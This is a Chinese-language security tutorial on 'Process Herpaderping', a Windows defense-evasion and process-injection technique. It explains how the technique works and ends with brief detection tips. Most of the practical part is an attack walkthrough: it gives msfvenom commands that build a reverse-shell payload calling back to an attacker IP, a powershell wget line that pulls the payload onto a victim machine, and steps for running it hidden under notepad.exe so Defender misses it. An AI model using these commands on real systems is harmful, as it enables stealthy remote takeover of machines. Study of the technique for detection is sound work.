Process Herpaderping(Mitre:T1055)
文章前言
约翰尼·肖演示了一种被称为进程删除的防御规避技术,在这种技术中攻击者能够在对创建的进程的检查实际开始之前将恶意代码注入合法进程的映射内存段,这有助于攻击者绕过防御和权限提升,虽然MITRE没有将子ID与该技术相关联,但我们认为将文章写在进程注入和防御规避方法下是合适的
- MITRE战术:防御规避(TA0005)和特权升级(TA0004)
- MITRE技术ID:进程注入(T1055)
文章背景
安全产品使用windows回调PsSetCreateProcessNotifyRoutineEx在内存上映射新进程时采取行动,并确定是否应允许进程执行(是否安全),然而实际的AV检查仅在相应进程的第一个线程被启动时开始,而不是在进程对象被创建时开始,这为攻击者创建和映射进程,然后更改文件内容并创建初始线程创造了机会
进程Herpaderping
Herpaderping是一个英语俚语,指的是经常因为健忘而被取笑的人,Johnny Shaw创造了一种称为进程Herpaderping的技术,这种技术用于在文件映射到内存后但在第一个线程启动前修改文件内容,从而规避防病毒/防御机制,AV无法确定是应该继续执行还是应该停止执行,因为进程背后的文件现在已经更改,原文写得非常清楚,可以找到这里:
https://jxy-s.github.io/herpaderping/
遵循的步骤如下:
- 创建一个目标文件(良性文件,如cmd.exe ),并保持文件句柄打开
- 将文件映射为图像部分
- NtCreateSection和SEC_IMAGE标志集
- 使用区段句柄创建流程对象
- NtCreateProcessEx
- 复制我们的有效载荷,然后使用之前打开的文件句柄,隐藏磁盘上的有效载荷
- 在流程中创建初始线程
- NtCreateThreadEx
此时进程创建回调(PsSetCreateProcessNotifyRoutineEx)将触发,并且磁盘上的内容将与映射的内容不匹配,此时检查文件将导致不正确的归属
- 关闭手柄,以便执行可以正常开始
- IRP _ MJ _清理
由于正在执行的内容是隐藏的,在这一点上的检查将导致不正确的归属
简单实例
按照下面的过程使用git下载代码
git clone https://github.com/jxy-s/herpaderping.git
cd .\herpaderping
git submodule update --init --recursive
之后使用Visual Studio编译发布(我用的是VS 2022),之后我们便可以使用cmd运行它来检查它是否可以正常工作:
现在我们的有效负载可以使用一个简单的命令来执行,如下所示
ProcessHerpaderping.exe payload_file target_file
我们也可以使用第三种选择,但不是现在,让我们首先创建一个有效载荷
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1234 -f exe > payload.exe
之后我们就可以把可执行文件和有效载荷传给受害者了
powershell wget 192.168.0.89/payload.exe -O payload.exe
一旦有效载荷被成功传输,我们就可以运行进程Herpaderping可执行文件来运行隐藏在其他合法可执行文件下的有效载荷,比如notepad.exe
ProcessHerpaderping.exe payload.exe notepad.exe
正如您所看到的,我们现在一定在端口1234上收到了一个反向shell(正如我们的有效负载所建议的),这表明我们的有效载荷在notepad.exe下成功着陆了
此外在受害者系统中,可以再次确认defender被激活,并且在运行时没有检测到我们的有效负载是恶意的
在受害者系统上的process explorer中检查此攻击时,如果您看到合法的可执行文件中派生出可疑的子进程,您应该会感到可疑,这里的cmd.exe是从notepad.exe派生出来的,它不允许运行指示进程注入攻击的可执行文件
入侵检测
- 反病毒的签名可以更新,以检测已知的功能,比如IRP_MJ_CLEANUP或NtCreateProcessEx,然后进一步进行行为分析,以阻止运行时的进程注入
- 应该使用PsSetCreateThreadNotifyRoutineEx而不是PsSetCreateProcessNotifyRoutineEx因为前者是线程插入时的回调,而不是线程开始执行时的回调
- Sysinternal的套件Sysmon可以检测进程篡改
文末小结
本文讨论了一种称为进程Herpaderping的防御规避技术,这是一种通过在映像被映射之后、开始执行之前修改磁盘上的内容来掩盖进程真实意图的方法,混淆了像Defender这样的安全产品,并返回不正确的属性,然而有效载荷仍然得到执行,除此之外还包括一个简短的演示作为概念验证,希望你喜欢这篇文章,感谢阅读
相关文章
- Unable to start the daemon process
- ORA-26668: string process string exists ORACLE 报错 故障修复 远程处理
- ORA-26823: string capture server string is unable to communicate with capture process “string”. ORACLE 报错 故障修复 远程处理
- ORA-27468: “string.string” is locked by another process ORACLE 报错 故障修复 远程处理
- ORA-00024: logins from more than one process not allowed in single-process mode ORACLE 报错 故障修复 远程处理
- ORA-64151: Invalid use of DBMS_XMLINDEX.PROCESS_PENDING. ORACLE 报错 故障修复 远程处理
- ORA-01221: data file string is not the same file to a background process ORACLE 报错 故障修复 远程处理
- MySQL Error number: MY-011525; Symbol: ER_GRP_RPL_LOCAL_GTID_SETS_PROCESS_ERROR; SQLSTATE: HY000 报错 故障修复 远程处理
- MySQL Error number: MY-011620; Symbol: ER_GRP_RPL_FATAL_REC_PROCESS; SQLSTATE: HY000 报错 故障修复 远程处理
- ORA-07267: spwat: invalid process number. ORACLE 报错 故障修复 远程处理
- ORA-07576: sspexst: $GETJPIW failure on process ID string ORACLE 报错 故障修复 远程处理
- ORA-15083: failed to communicate with ASMB background process ORACLE 报错 故障修复 远程处理
- MySQL Error number: MY-013465; Symbol: ER_GRP_RPL_CLONE_PROCESS_EXEC_ERROR; SQLSTATE: HY000 报错 故障修复 远程处理
- Centos6版本使用yum报错 Loaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfi Setting up Install Process No package gcc available. Error: Nothing to do详解程序员